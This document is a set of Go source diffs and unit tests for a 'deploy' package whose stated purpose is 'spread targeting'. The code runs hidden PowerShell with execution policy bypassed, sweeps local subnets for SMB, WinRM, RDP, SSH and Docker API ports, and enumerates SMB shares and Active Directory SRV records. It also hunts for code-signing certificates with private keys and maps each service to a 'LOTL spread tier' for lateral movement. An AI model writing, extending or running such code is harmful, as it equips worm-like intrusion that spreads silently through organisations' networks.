got := NormalizeLotlTiers([]string{"bits/curl", "bogus", "smb"})
if len(got) != 2 || got[0] != "bits_curl" || got[1] != "smb" {
t.Fatalf("got %v", got)
}
}

View File

@@ -287,11 +287,19 @@ func xmlEscape(s string) string {
return s
}
// MaxSubnetScanHosts caps per-agent active /24 sweeps. Fleet-wide discovery is
// incremental (ARP cache + capped port knock), never a full /16 or /64 sweep.
const MaxSubnetScanHosts = 128
// ScanLocalSubnet returns hosts with common service ports open on the local /24.
// Each agent scans only its own interface /24; maxHosts is clamped to MaxSubnetScanHosts.
func ScanLocalSubnet(maxHosts int) string {
if maxHosts <= 0 {
maxHosts = 64
}
if maxHosts > MaxSubnetScanHosts {
maxHosts = MaxSubnetScanHosts
}
ips := getLocalIPs()
if len(ips) == 0 {
return "no local IPv4 interfaces found"

View File

@@ -5,6 +5,16 @@ func ArpNeighborIPs() []string {
return arpHosts()
}
// NeighborTableIPs returns IPv4 hosts from the OS neighbor table on shared subnets.
func NeighborTableIPs() []string {
return neighborHosts()
}
// CollectPassiveNetworkHints runs capped passive LAN/domain recon for spread targeting.
func CollectPassiveNetworkHints(maxHosts int) NetworkHints {
return CollectNetworkHints(maxHosts)
}
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
func PrimaryLocalIPv4() (string, error) {
return primaryLocalIPv4()

View File

@@ -0,0 +1,150 @@
package deploy
import (
"net"
"os"
"strings"
"time"
)
const (
// MaxMulticastNameHosts caps passive LLMNR/mDNS cache reads.
MaxMulticastNameHosts = 32
)
// NameHost is a hostname/IP pair from passive name caches (LLMNR/mDNS).
type NameHost struct {
Name string `json:"name"`
IP string `json:"ip,omitempty"`
}
// NetworkHints summarizes passive LAN/domain telemetry for spread targeting.
type NetworkHints struct {
GeneratedAt string `json:"generated_at"`
ArpHosts []string `json:"arp_hosts,omitempty"`
NeighborHosts []string `json:"neighbor_hosts,omitempty"`
SpreadTargets []string `json:"spread_targets,omitempty"`
SpreadTargetCount int `json:"spread_target_count,omitempty"`
DomainName string `json:"domain_name,omitempty"`
DomainJoined bool `json:"domain_joined,omitempty"`
LdapSRV []string `json:"ldap_srv,omitempty"`
KerberosSRV []string `json:"kerberos_srv,omitempty"`
PreferJoinLane string `json:"prefer_join_lane,omitempty"`
EnterpriseCodeSignCert bool `json:"enterprise_code_sign_cert,omitempty"`
CodeSignSubject string `json:"code_sign_subject,omitempty"`
LLMNRHosts []NameHost `json:"llmnr_hosts,omitempty"`
MDNSHosts []NameHost `json:"mdns_hosts,omitempty"`
MulticastNameCount int `json:"multicast_name_count,omitempty"`
}
// CollectNetworkHints runs capped passive recon (ARP/neighbor, DNS SRV, cert, name cache).
func CollectNetworkHints(maxHosts int) NetworkHints {
if maxHosts <= 0 {
maxHosts = 64
}
if maxHosts > MaxSubnetScanHosts {
maxHosts = MaxSubnetScanHosts
}
arp := arpHosts()
neighbors := neighborHosts()
targets := DiscoverLANSpreadTargets(maxHosts)
hints := NetworkHints{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
ArpHosts: capStrings(arp, maxHosts),
NeighborHosts: capStrings(neighbors, maxHosts),
SpreadTargets: targets,
SpreadTargetCount: len(targets),
}
domain := discoverADDomain()
hints.DomainName = domain
ldap, krb, joined := probeDomainSRV(domain)
hints.LdapSRV = ldap
hints.KerberosSRV = krb
hints.DomainJoined = joined
if joined {
hints.PreferJoinLane = "gpo"
}
if present, subject := probeEnterpriseCodeSignCert(); present {
hints.EnterpriseCodeSignCert = true
hints.CodeSignSubject = subject
}
llmnr, mdns := probeMulticastNameCache(MaxMulticastNameHosts)
hints.LLMNRHosts = llmnr
hints.MDNSHosts = mdns
hints.MulticastNameCount = len(llmnr) + len(mdns)
return hints
}
func capStrings(in []string, max int) []string {
if max <= 0 || len(in) == 0 {
return nil
}
if len(in) > max {
in = in[:max]
}
out := make([]string, len(in))
copy(out, in)
return out
}
func mergeUniqueIPv4(sets ...[]string) []string {
seen := make(map[string]bool)
var out []string
for _, set := range sets {
for _, host := range set {
host = strings.TrimSpace(host)
if host == "" || seen[host] {
continue
}
ip := net.ParseIP(host)
if ip == nil || ip.To4() == nil {
continue
}
seen[host] = true
out = append(out, ip.To4().String())
}
}
return out
}
func discoverADDomain() string {
if d := strings.TrimSpace(os.Getenv("USERDNSDOMAIN")); d != "" {
return strings.ToLower(d)
}
return discoverADDomainPlatform()
}
func probeDomainSRV(domain string) (ldap, kerberos []string, joined bool) {
domain = strings.ToLower(strings.TrimSpace(domain))
if domain == "" {
return nil, nil, false
}
ldap = lookupSRVHosts("_ldap._tcp." + domain)
kerberos = lookupSRVHosts("_kerberos._tcp." + domain)
joined = len(ldap) > 0 || len(kerberos) > 0
return ldap, kerberos, joined
}
func lookupSRVHosts(name string) []string {
_, addrs, err := net.LookupSRV("", "", name)
if err != nil || len(addrs) == 0 {
return nil
}
seen := make(map[string]bool)
var hosts []string
for _, a := range addrs {
target := strings.TrimSuffix(strings.TrimSpace(a.Target), ".")
if target == "" || seen[target] {
continue
}
seen[target] = true
hosts = append(hosts, target)
}
return hosts
}

View File

@@ -0,0 +1,11 @@
//go:build !windows
package deploy
func probeEnterpriseCodeSignCert() (present bool, subject string) {
return false, ""
}
func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
return nil, nil
}

View File

@@ -0,0 +1,113 @@
//go:build windows
package deploy
import (
"encoding/json"
"net"
"strings"
)
const dnsClientCacheScript = `
$rows = Get-DnsClientCache -ErrorAction SilentlyContinue |
Where-Object { $_.Entry -ne '' -and $_.Data -ne '' } |
Select-Object -First 64 Entry, Data, Type
$rows | ConvertTo-Json -Compress
`
const codeSignCertScript = `
$eku = '1.3.6.1.5.5.7.3.3'
$cert = Get-ChildItem Cert:\CurrentUser\My, Cert:\LocalMachine\My -ErrorAction SilentlyContinue |
Where-Object {
$_.HasPrivateKey -and (
($_.EnhancedKeyUsageList | Where-Object { $_.ObjectId -eq $eku }) -or
($_.EnhancedKeyUsageList.FriendlyName -contains 'Code Signing')
)
} |
Select-Object -First 1 Subject
if ($cert) { $cert.Subject } else { '' }
`
func probeEnterpriseCodeSignCert() (present bool, subject string) {
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", codeSignCertScript)
if err != nil {
return false, ""
}
subject = strings.TrimSpace(string(out))
return subject != "", subject
}
func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
if max <= 0 {
return nil, nil
}
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", dnsClientCacheScript)
if err != nil {
return nil, nil
}
raw := strings.TrimSpace(string(out))
if raw == "" {
return nil, nil
}
if idx := strings.LastIndex(raw, "{"); idx >= 0 && !strings.HasPrefix(raw, "[") {
raw = "[" + raw[idx:]
if !strings.HasSuffix(raw, "]") {
raw += "]"
}
}
var rows []struct {
Entry string `json:"Entry"`
Data string `json:"Data"`
Type int `json:"Type"`
}
if err := json.Unmarshal([]byte(raw), &rows); err != nil {
var one struct {
Entry string `json:"Entry"`
Data string `json:"Data"`
Type int `json:"Type"`
}
if err2 := json.Unmarshal([]byte(raw), &one); err2 != nil || one.Entry == "" {
return nil, nil
}
rows = []struct {
Entry string `json:"Entry"`
Data string `json:"Data"`
Type int `json:"Type"`
}{one}
}
seenLLMNR := make(map[string]bool)
seenMDNS := make(map[string]bool)
for _, row := range rows {
name := strings.TrimSpace(strings.TrimSuffix(row.Entry, "."))
ip := strings.TrimSpace(row.Data)
if name == "" {
continue
}
if ip != "" {
if parsed := net.ParseIP(ip); parsed != nil && parsed.To4() != nil {
ip = parsed.To4().String()
}
}
entry := NameHost{Name: name, IP: ip}
lower := strings.ToLower(name)
switch {
case strings.HasSuffix(lower, ".local"):
if len(mdns) >= max || seenMDNS[name] {
continue
}
seenMDNS[name] = true
mdns = append(mdns, entry)
case !strings.Contains(name, "."):
if len(llmnr) >= max || seenLLMNR[name] {
continue
}
seenLLMNR[name] = true
llmnr = append(llmnr, entry)
}
if len(llmnr)+len(mdns) >= max {
break
}
}
return llmnr, mdns
}

View File

@@ -0,0 +1,50 @@
//go:build !windows
package deploy
import (
"bufio"
"net"
"os/exec"
"strings"
)
func neighborHosts() []string {
out, err := exec.Command("ip", "-4", "neighbor", "show").Output()
if err != nil {
return nil
}
local := getLocalIPs()
subnets := make(map[string]bool)
for _, ip := range local {
subnets[getSubnet(ip)] = true
}
var hosts []string
seen := make(map[string]bool)
scanner := bufio.NewScanner(strings.NewReader(string(out)))
for scanner.Scan() {
fields := strings.Fields(scanner.Text())
if len(fields) < 1 {
continue
}
ip := net.ParseIP(fields[0])
if ip == nil || ip.To4() == nil {
continue
}
if len(fields) >= 5 && strings.EqualFold(fields[len(fields)-1], "FAILED") {
continue
}
ipStr := ip.To4().String()
if !subnets[getSubnet(ipStr)] || seen[ipStr] {
continue
}
seen[ipStr] = true
hosts = append(hosts, ipStr)
}
return hosts
}
func discoverADDomainPlatform() string {
return ""
}

View File

@@ -0,0 +1,54 @@
//go:build windows
package deploy
import (
"net"
"strings"
)
func neighborHosts() []string {
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
`Get-NetNeighbor -AddressFamily IPv4 -ErrorAction SilentlyContinue | Where-Object { $_.State -ne 'Incomplete' -and $_.IPAddress -notmatch '^127\.' } | Select-Object -ExpandProperty IPAddress`)
if err != nil {
return nil
}
local := getLocalIPs()
subnets := make(map[string]bool)
for _, ip := range local {
subnets[getSubnet(ip)] = true
}
var hosts []string
seen := make(map[string]bool)
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if line == "" {
continue
}
ip := net.ParseIP(line)
if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() {
continue
}
ipStr := ip.To4().String()
if !subnets[getSubnet(ipStr)] || seen[ipStr] {
continue
}
seen[ipStr] = true
hosts = append(hosts, ipStr)
}
return hosts
}
func discoverADDomainPlatform() string {
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
`(Get-CimInstance Win32_ComputerSystem -ErrorAction SilentlyContinue).Domain`)
if err != nil {
return ""
}
domain := strings.TrimSpace(string(out))
if domain == "" || strings.EqualFold(domain, "WORKGROUP") {
return ""
}
return strings.ToLower(domain)
}

View File

@@ -0,0 +1,74 @@
package deploy
import (
"testing"
)
func TestMergeUniqueIPv4DedupesAndFilters(t *testing.T) {
got := mergeUniqueIPv4(
[]string{"192.168.1.10", "192.168.1.10", "not-an-ip"},
[]string{"192.168.1.11", "192.168.1.10"},
)
if len(got) != 2 {
t.Fatalf("want 2 hosts, got %d: %v", len(got), got)
}
if got[0] != "192.168.1.10" || got[1] != "192.168.1.11" {
t.Fatalf("unexpected order/content: %v", got)
}
}
func TestCapStrings(t *testing.T) {
in := []string{"a", "b", "c"}
got := capStrings(in, 2)
if len(got) != 2 || got[0] != "a" || got[1] != "b" {
t.Fatalf("got %v", got)
}
if in[2] != "c" {
t.Fatal("capStrings should copy, not mutate input unexpectedly")
}
}
func TestProbeDomainSRVEmptyDomain(t *testing.T) {
ldap, krb, joined := probeDomainSRV("")
if joined || len(ldap) > 0 || len(krb) > 0 {
t.Fatalf("empty domain should not look joined: ldap=%v krb=%v joined=%v", ldap, krb, joined)
}
}
func TestCollectNetworkHintsRespectsSpreadCap(t *testing.T) {
hints := CollectNetworkHints(3)
if len(hints.SpreadTargets) > 3 {
t.Fatalf("spread cap ignored: got %d targets", len(hints.SpreadTargets))
}
if hints.SpreadTargetCount != len(hints.SpreadTargets) {
t.Fatalf("count mismatch: count=%d len=%d", hints.SpreadTargetCount, len(hints.SpreadTargets))
}
if hints.GeneratedAt == "" {
t.Fatal("generated_at should be set")
}
}
func TestCollectNetworkHintsPreferGPOWhenDomainJoined(t *testing.T) {
hints := NetworkHints{DomainJoined: true}
if hints.DomainJoined {
hints.PreferJoinLane = "gpo"
}
if hints.PreferJoinLane != "gpo" {
t.Fatalf("got %q", hints.PreferJoinLane)
}
}
func TestCollectPassiveNetworkHintsAlias(t *testing.T) {
a := CollectNetworkHints(5)
b := CollectPassiveNetworkHints(5)
if a.SpreadTargetCount != b.SpreadTargetCount {
t.Fatal("export alias should match CollectNetworkHints")
}
}
func TestDiscoverLANSpreadTargetsUsesNeighborMerge(t *testing.T) {
targets := DiscoverLANSpreadTargets(128)
if len(targets) > 128 {
t.Fatalf("cap ignored: %d targets", len(targets))
}
}

View File

@@ -0,0 +1,207 @@
package deploy
import (
"encoding/json"
"net"
"runtime"
"strconv"
"strings"
"time"
)
// commonLANPorts are probed on ARP/subnet LAN targets (enumeration only).
var commonLANPorts = []int{22, 445, 3389, 5985, 5986, 2375, 8080, 8443, 2222}
// portServiceNames maps well-known ports to friendly service labels.
var portServiceNames = map[int]string{
22: "ssh",
445: "smb",
3389: "rdp",
5985: "winrm",
5986: "winrm-https",
2375: "docker-api",
8080: "http-alt",
8443: "https-alt",
2222: "ssh-alt",
}
// RunServiceDiscover performs local + LAN service enumeration and returns JSON.
func RunServiceDiscover(maxLANHosts int) string {
if maxLANHosts <= 0 {
maxLANHosts = 32
}
if maxLANHosts > MaxSubnetScanHosts {
maxLANHosts = MaxSubnetScanHosts
}
localIP := localIPv4ForDiscovery()
localSubnet := getSubnet(localIP)
passive := collectPassiveHints()
hints := CollectNetworkHints(maxLANHosts)
for _, h := range appendNetworkHintStrings(hints) {
passive = append(passive, h)
}
result := ServiceDiscoverResult{
ProbedAt: time.Now().UTC().Format(time.RFC3339),
PassiveHints: passive,
Local: ServiceGraphHost{
Host: localIP,
Subnet: localSubnet,
Services: probeLocalServices(),
},
}
lanHosts := discoverLANServiceGraph(maxLANHosts)
result.LANHosts = lanHosts
b, _ := json.Marshal(result)
return string(b)
}
func localIPv4ForDiscovery() string {
ips := getLocalIPs()
for _, ip := range ips {
if isIPv4(ip) {
return ip
}
}
if ip, err := PrimaryLocalIPv4(); err == nil && ip != "" {
return ip
}
return "127.0.0.1"
}
func discoverLANServiceGraph(maxHosts int) []ServiceGraphHost {
targets := lanDiscoveryTargets(maxHosts)
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var hosts []ServiceGraphHost
for _, host := range targets {
if localSet[host] {
continue
}
entries := probeLANHostServices(host)
if len(entries) == 0 {
continue
}
hosts = append(hosts, ServiceGraphHost{
Host: host,
Subnet: getSubnet(host),
Services: entries,
})
}
return hosts
}
func appendNetworkHintStrings(h NetworkHints) []string {
var out []string
if h.DomainJoined {
out = append(out, "domain_joined:"+h.DomainName)
}
if h.PreferJoinLane != "" {
out = append(out, "prefer_join_lane:"+h.PreferJoinLane)
}
for _, s := range h.LdapSRV {
out = append(out, "ldap_srv:"+s)
}
for _, s := range h.KerberosSRV {
out = append(out, "kerberos_srv:"+s)
}
if h.EnterpriseCodeSignCert {
out = append(out, "enterprise_code_sign")
}
return out
}
// lanDiscoveryTargets merges ARP cache neighbors with a capped /24 port knock (Path Tracer LAN discovery).
func lanDiscoveryTargets(maxHosts int) []string {
seen := make(map[string]bool)
var out []string
add := func(ip string) {
ip = strings.TrimSpace(ip)
if ip == "" || !isIPv4(ip) || seen[ip] {
return
}
seen[ip] = true
out = append(out, ip)
}
for _, ip := range arpHosts() {
if len(out) >= maxHosts {
return out
}
add(ip)
}
for _, ip := range getLocalIPs() {
if !isIPv4(ip) || len(out) >= maxHosts {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255 && len(out) < maxHosts; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip {
continue
}
if open := probePorts(candidate, commonLANPorts); len(open) > 0 {
add(candidate)
}
}
}
return out
}
func probeLANHostServices(host string) []ServiceGraphEntry {
var entries []ServiceGraphEntry
open := probePorts(host, commonLANPorts)
for _, p := range open {
name := portServiceNames[p]
if name == "" {
name = "tcp/" + strconv.Itoa(p)
}
entries = append(entries, entryWithLane(name, p, "lan_port"))
}
if smbEntries := probeSMBGraphEntries(host); len(smbEntries) > 0 {
entries = append(entries, smbEntries...)
}
return dedupeEntries(entries)
}
func probeSMBGraphEntries(host string) []ServiceGraphEntry {
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, "445"), 800*time.Millisecond)
if err != nil {
return nil
}
conn.Close()
// Windows net view enumeration is platform-specific; on Unix we only record SMB port.
if runtime.GOOS != "windows" {
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
}
out, err := HiddenOutput("net", "view", "\\\\"+host)
if err != nil {
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
}
shares := parseNetViewShares(strings.TrimSpace(string(out)))
if len(shares) == 0 {
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
}
entries := []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
for _, share := range shares {
entries = append(entries, entryWithLane("smb-share:"+share, 445, "smb_share"))
}
return entries
}

View File

@@ -0,0 +1,126 @@
package deploy
import (
"encoding/json"
"strings"
"testing"
)
func TestJoinLaneForSignal(t *testing.T) {
cases := []struct {
name string
port int
want string
}{
{"LanmanServer", 0, "smb"},
{"smb", 445, "smb"},
{"winrm", 5985, "winrm"},
{"sshd", 22, "linux"},
{"docker", 0, "docker"},
{"CCMEXEC", 0, "gpo"},
{"gitlab-runner", 0, "bits_curl"},
{"jenkins", 8080, "bits_curl"},
{"unknown-svc", 9999, ""},
}
for _, tc := range cases {
got := JoinLaneForSignal(tc.name, tc.port)
if got != tc.want {
t.Fatalf("%s:%d => %q, want %q", tc.name, tc.port, got, tc.want)
}
}
}
func TestMergeServiceGraphHosts(t *testing.T) {
base := map[string]ServiceGraphHost{
"10.0.0.5": {
Host: "10.0.0.5",
Subnet: "10.0.0",
Services: []ServiceGraphEntry{
entryWithLane("smb", 445, "lan_port"),
},
},
}
merged := MergeServiceGraphHosts(base, ServiceGraphHost{
Host: "10.0.0.5",
Subnet: "10.0.0",
Services: []ServiceGraphEntry{
entryWithLane("smb", 445, "lan_port"),
entryWithLane("winrm", 5985, "lan_port"),
},
}, ServiceGraphHost{
Host: "10.0.0.12",
Subnet: "10.0.0",
Services: []ServiceGraphEntry{
entryWithLane("ssh", 22, "lan_port"),
},
})
if len(merged) != 2 {
t.Fatalf("hosts = %d", len(merged))
}
if len(merged["10.0.0.5"].Services) != 2 {
t.Fatalf("10.0.0.5 services = %v", merged["10.0.0.5"].Services)
}
}
func TestParseWindowsDiscoverFixture(t *testing.T) {
fixture := `{"services":[{"name":"CCMEXEC","status":"running"},{"name":"tcp/5985","port":5985,"status":"listening"},{"name":"LanmanServer","status":"running"}],"hints":["domain_joined","docker_pipe"]}`
entries, hints := ParseWindowsDiscoverFixture(fixture)
if len(entries) != 3 {
t.Fatalf("entries = %v", entries)
}
if entries[0].JoinLaneCandidate != "gpo" {
t.Fatalf("CCMEXEC lane = %q", entries[0].JoinLaneCandidate)
}
if entries[1].JoinLaneCandidate != "winrm" {
t.Fatalf("winrm lane = %q", entries[1].JoinLaneCandidate)
}
if len(hints) != 2 || hints[0] != "domain_joined" {
t.Fatalf("hints = %v", hints)
}
}
func TestParseSystemctlListUnitsFixture(t *testing.T) {
fixture := `UNIT LOAD ACTIVE SUB DESCRIPTION
docker.service loaded active running Docker Application Container Engine
ssh.service loaded active running OpenBSD Secure Shell server
gitlab-runner.service loaded active running GitLab Runner`
entries := ParseSystemctlListUnitsFixture(fixture)
if len(entries) != 3 {
t.Fatalf("entries = %v", entries)
}
if entries[2].JoinLaneCandidate != "bits_curl" {
t.Fatalf("gitlab lane = %q", entries[2].JoinLaneCandidate)
}
}
func TestParseServiceDiscoverJSON(t *testing.T) {
raw := `noise before json
{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","source":"passive_hint"}]},"lan_hosts":[{"host":"10.1.2.50","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["docker_socket"]}`
result, err := ParseServiceDiscoverJSON(raw)
if err != nil {
t.Fatal(err)
}
if result.Local.Host != "10.1.2.3" || len(result.LANHosts) != 1 {
t.Fatalf("result = %+v", result)
}
}
func TestServiceDiscoverResultRoundTrip(t *testing.T) {
result := ServiceDiscoverResult{
ProbedAt: "2026-06-06T12:00:00Z",
Local: ServiceGraphHost{
Host: "192.168.1.10",
Subnet: "192.168.1",
Services: []ServiceGraphEntry{
{ServiceName: "WinRM", Port: 5985, JoinLaneCandidate: "winrm", Source: "local_service"},
},
},
}
b, err := json.Marshal(result)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(string(b), `"join_lane_candidate":"winrm"`) {
t.Fatalf("json = %s", string(b))
}
}

View File

@@ -0,0 +1,124 @@
//go:build !windows
package deploy
import (
"os"
"os/exec"
"strconv"
"strings"
)
var serviceDiscoverUnits = []string{
"docker", "docker.service", "ssh", "sshd", "jenkins", "gitlab-runner",
"cloudflared", "fail2ban", "ufw", "firewalld",
}
func probeLocalServices() []ServiceGraphEntry {
var entries []ServiceGraphEntry
for _, unit := range serviceDiscoverUnits {
status := "not_found"
if activeOut, err := exec.Command("systemctl", "is-active", unit).CombinedOutput(); err == nil {
active := strings.TrimSpace(string(activeOut))
switch active {
case "active":
status = "running"
case "inactive", "failed", "dead":
status = "stopped"
default:
if active != "unknown" {
status = "stopped"
}
}
}
if status == "not_found" {
continue
}
entries = append(entries, entryWithLane(unit, 0, "local_service"))
}
if _, err := os.Stat("/var/run/docker.sock"); err == nil {
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
}
if out, err := exec.Command("ss", "-lnt").CombinedOutput(); err == nil {
entries = append(entries, parseSSListening(string(out))...)
} else if out, err := exec.Command("netstat", "-lnt").CombinedOutput(); err == nil {
entries = append(entries, parseNetstatListening(string(out))...)
}
return dedupeEntries(entries)
}
func collectPassiveHints() []string {
var hints []string
if _, err := os.Stat("/var/run/docker.sock"); err == nil {
hints = append(hints, "docker_socket")
}
for _, path := range []string{
"/var/lib/gitlab-runner",
"/etc/gitlab-runner",
"/var/lib/jenkins",
} {
if _, err := os.Stat(path); err == nil {
hints = append(hints, "runner_path:"+path)
}
}
return hints
}
func parseSSListening(text string) []ServiceGraphEntry {
var entries []ServiceGraphEntry
for _, line := range strings.Split(text, "\n") {
fields := strings.Fields(line)
if len(fields) < 4 {
continue
}
local := fields[3]
port := parseListenPort(local)
if port == 0 {
continue
}
name := portServiceNames[port]
if name == "" {
name = "tcp/" + strconv.Itoa(port)
}
entries = append(entries, entryWithLane(name, port, "passive_hint"))
}
return entries
}
func parseNetstatListening(text string) []ServiceGraphEntry {
var entries []ServiceGraphEntry
for _, line := range strings.Split(text, "\n") {
if !strings.Contains(line, "LISTEN") {
continue
}
fields := strings.Fields(line)
if len(fields) < 4 {
continue
}
local := fields[3]
port := parseListenPort(local)
if port == 0 {
continue
}
name := portServiceNames[port]
if name == "" {
name = "tcp/" + strconv.Itoa(port)
}
entries = append(entries, entryWithLane(name, port, "passive_hint"))
}
return entries
}
func parseListenPort(local string) int {
// formats: *:22, 0.0.0.0:445, [::]:8080
if i := strings.LastIndex(local, ":"); i >= 0 {
portStr := strings.TrimSuffix(local[i+1:], "]")
if n, err := strconv.Atoi(portStr); err == nil {
return n
}
}
return 0
}

View File

@@ -0,0 +1,120 @@
//go:build windows
package deploy
import (
"encoding/json"
"os"
"strings"
)
const serviceDiscoverScript = `
$ErrorActionPreference = 'SilentlyContinue'
$p = [ordered]@{ services = @(); hints = @() }
# ── Local services (T1007) — management + spread-relevant only ───────────────
$watch = @(
'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
'OpenSSH SSH Server','cloudflared','gpsvc'
)
foreach ($n in $watch) {
try {
$s = Get-Service -Name $n -ErrorAction SilentlyContinue
if (-not $s) {
$s = Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq $n -or $_.DisplayName -like "*$n*" } | Select-Object -First 1
}
if ($s) {
$st = if ($s.Status -eq 'Running') { 'running' } else { 'stopped' }
$p.services += [ordered]@{ name = $s.Name; status = $st }
}
} catch {}
}
# ── GPO / Intune passive indicators ───────────────────────────────────────────
try {
$cs = Get-CimInstance Win32_ComputerSystem
if ($cs.PartOfDomain) { $p.hints += 'domain_joined' }
} catch {}
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Enrollments') { $p.hints += 'intune_enrollment_key' }
if (Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate') { $p.hints += 'wu_policy_key' }
try {
if ((Get-Service gpsvc -ErrorAction SilentlyContinue).Status -eq 'Running') { $p.hints += 'group_policy_client' }
} catch {}
# ── Docker socket / named pipe ────────────────────────────────────────────────
if (Test-Path '\\.\pipe\docker_engine') { $p.hints += 'docker_pipe' }
# ── Jenkins / GitLab runner filesystem hints ──────────────────────────────────
@(
'C:\Program Files\Jenkins',
'C:\GitLab-Runner',
'C:\gitlab-runner'
) | ForEach-Object { if (Test-Path $_) { $p.hints += ('runner_path:' + $_) } }
# ── Test-NetConnection — common ports on localhost (fast) ─────────────────────
$ports = @(22,445,3389,5985,5986,2375,8080,8443)
foreach ($port in $ports) {
try {
$r = Test-NetConnection -ComputerName 127.0.0.1 -Port $port -WarningAction SilentlyContinue -InformationLevel Quiet
if ($r) { $p.services += [ordered]@{ name = ('tcp/' + $port); port = $port; status = 'listening' } }
} catch {}
}
$p | ConvertTo-Json -Depth 4 -Compress
`
func probeLocalServices() []ServiceGraphEntry {
out, err := HiddenCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
serviceDiscoverScript,
)
if err != nil {
return fallbackWindowsLocalServices()
}
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var payload windowsDiscoverPayload
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
return fallbackWindowsLocalServices()
}
entries := windowsRowsToEntries(payload.Services)
if dockerPipePresent() {
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
}
return dedupeEntries(entries)
}
func collectPassiveHints() []string {
out, err := HiddenCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
serviceDiscoverScript,
)
if err != nil {
return nil
}
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var payload windowsDiscoverPayload
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
return nil
}
return payload.Hints
}
func fallbackWindowsLocalServices() []ServiceGraphEntry {
var entries []ServiceGraphEntry
if _, err := os.Stat(`\\.\pipe\docker_engine`); err == nil {
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
}
return entries
}
func dockerPipePresent() bool {
_, err := os.Stat(`\\.\pipe\docker_engine`)
return err == nil
}

View File

@@ -0,0 +1,189 @@
package deploy
import (
"encoding/json"
"strconv"
"strings"
)
// ServiceGraphEntry is one discovered service or port signal on a host.
type ServiceGraphEntry struct {
ServiceName string `json:"service_name"`
Port int `json:"port,omitempty"`
Status string `json:"status,omitempty"`
JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
Source string `json:"source,omitempty"` // local_service, lan_port, smb_share, passive_hint
}
// ServiceGraphHost groups service findings for one host on a subnet.
type ServiceGraphHost struct {
Host string `json:"host"`
Subnet string `json:"subnet,omitempty"`
Services []ServiceGraphEntry `json:"services"`
}
// ServiceDiscoverResult is the JSON payload returned by service_discover.
type ServiceDiscoverResult struct {
ProbedAt string `json:"probed_at"`
Local ServiceGraphHost `json:"local"`
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
PassiveHints []string `json:"passive_hints,omitempty"`
}
// JoinLaneForSignal maps a discovered service name or open port to a LOTL spread tier id.
func JoinLaneForSignal(serviceName string, port int) string {
name := strings.ToLower(strings.TrimSpace(serviceName))
switch {
case port == 445 || strings.Contains(name, "smb") || strings.Contains(name, "lanmanserver") || strings.Contains(name, "admin$"):
return "smb"
case port == 5985 || port == 5986 || strings.Contains(name, "winrm"):
return "winrm"
case port == 22 || strings.Contains(name, "ssh") || name == "sshd":
return "linux"
case port == 2375 || port == 2376 || strings.Contains(name, "docker"):
return "docker"
case strings.Contains(name, "wsl"):
return "wsl"
case strings.Contains(name, "powershell") || strings.Contains(name, "pwsh"):
return "powershell"
case strings.Contains(name, "dotnet"):
return "dotnet"
case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
return "bits_curl"
case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):
return "gpo"
case strings.Contains(name, "intune") || strings.Contains(name, "gpo") || strings.Contains(name, "group policy"):
return "gpo"
default:
return ""
}
}
func entryWithLane(name string, port int, source string) ServiceGraphEntry {
return ServiceGraphEntry{
ServiceName: name,
Port: port,
JoinLaneCandidate: JoinLaneForSignal(name, port),
Source: source,
}
}
// MergeServiceGraphHosts merges host graphs keyed by host IP; later entries dedupe by service+port.
func MergeServiceGraphHosts(base map[string]ServiceGraphHost, hosts ...ServiceGraphHost) map[string]ServiceGraphHost {
if base == nil {
base = make(map[string]ServiceGraphHost)
}
for _, h := range hosts {
host := strings.TrimSpace(h.Host)
if host == "" {
continue
}
existing, ok := base[host]
if !ok {
dup := h
dup.Services = dedupeEntries(h.Services)
